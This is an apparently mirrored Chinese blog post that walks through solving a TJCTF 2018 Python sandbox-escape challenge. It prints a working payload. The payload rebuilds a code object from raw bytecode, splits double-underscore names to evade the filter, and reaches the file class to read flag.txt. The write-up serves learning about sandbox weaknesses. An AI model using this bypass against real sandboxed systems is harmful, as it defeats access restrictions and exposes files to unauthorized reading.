60

记一次有趣的Python沙箱逃逸

 5 years ago
source link: https://blog.kaaass.net/archives/905?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

今天@AD1024大佬在群里分享了个有趣的CTF题(nc problem1.tjctf.org 8006),是关于Python沙箱逃逸的。dalao原意是为了吐槽flag在的文件就是flag.txt,不过咱研究了下这沙箱逃逸,似乎有点不一般。eval、exer、open这类的函数肯定是屏蔽了,关键是它不仅屏蔽了import,双下划线都不给用。而且最骚的是,这还直接是REPL环境!ROT13的套路也没救了。

整理下思路,竟然要读文件,file类一般来说是跑不了了。然而由于双下划线被屏蔽了,所以从object类往下顺的思路也行不通了。不过不急,我们可以……

2iABbib.png!web

Google了下,找到了一篇文章《 Bypassing a python sandbox by abusing code objects 》。竟然从code对象入手,真是角度刁钻。下面来看看具体的操作。首先在自己的repl里创建个函数:

def get_classes():
    return [].__class__.__bases__[0].__subclasses__()

然后dir一下func_code:

>>> dir(get_classes.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']

可以看到,这些co_开头的就是code构造函数需要的参数,那咱朴实点,就全部打印呗。

co_argcount: 0  co_cellvars: ()  co_code: ‘g\x00\x00j\x00\x00j\x01\x00d\x01\x00\x19j\x02\x00\x83\x00\x00S’  co_consts: (None, 0)  co_filename: ‘<stdio>’  co_firstlineno: 1  co_flags: 67  co_freevars: ()  co_lnotab: ‘\x00\x01’  co_name: ‘get_classes’  co_names: (‘__class__’, ‘__bases__’, ‘__subclasses__’)  co_nlocals: 0  co_stacksize: 2  co_varnames: ()

于是我们就可以开始操作了。

>>> f = lambda :0
>>> function = type(f)
>>> code = type(f.func_code)

然后就可以构造code对象了。help(code)之后按着之前print出来的东西填。

code_obj = code(0, 0, 2, 67, 'g\x00\x00j\x00\x00j\x01\x00d\x01\x00\x19j\x02\x00\x83\x00\x00S', (None, 0), ('_''_class_''_', '_''_bases_''_', '_''_subclasses_''_'), (), '<stdin>', 'get_classes', 1, '\x00\x01', (), ())
get_classes = function(code_obj, globals(), None, None, None)

这里要注意下,几个双下划线都要分开来写。接下来就是固定套路了。

get_classes()[40]('./flag.txt').read()

后记

不搜不知道,一搜发现这就是TJCTF 2018的题。按官网介绍,TJCTF面向的是高中生,妈耶,美国的高中生都是怪物吗?!


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK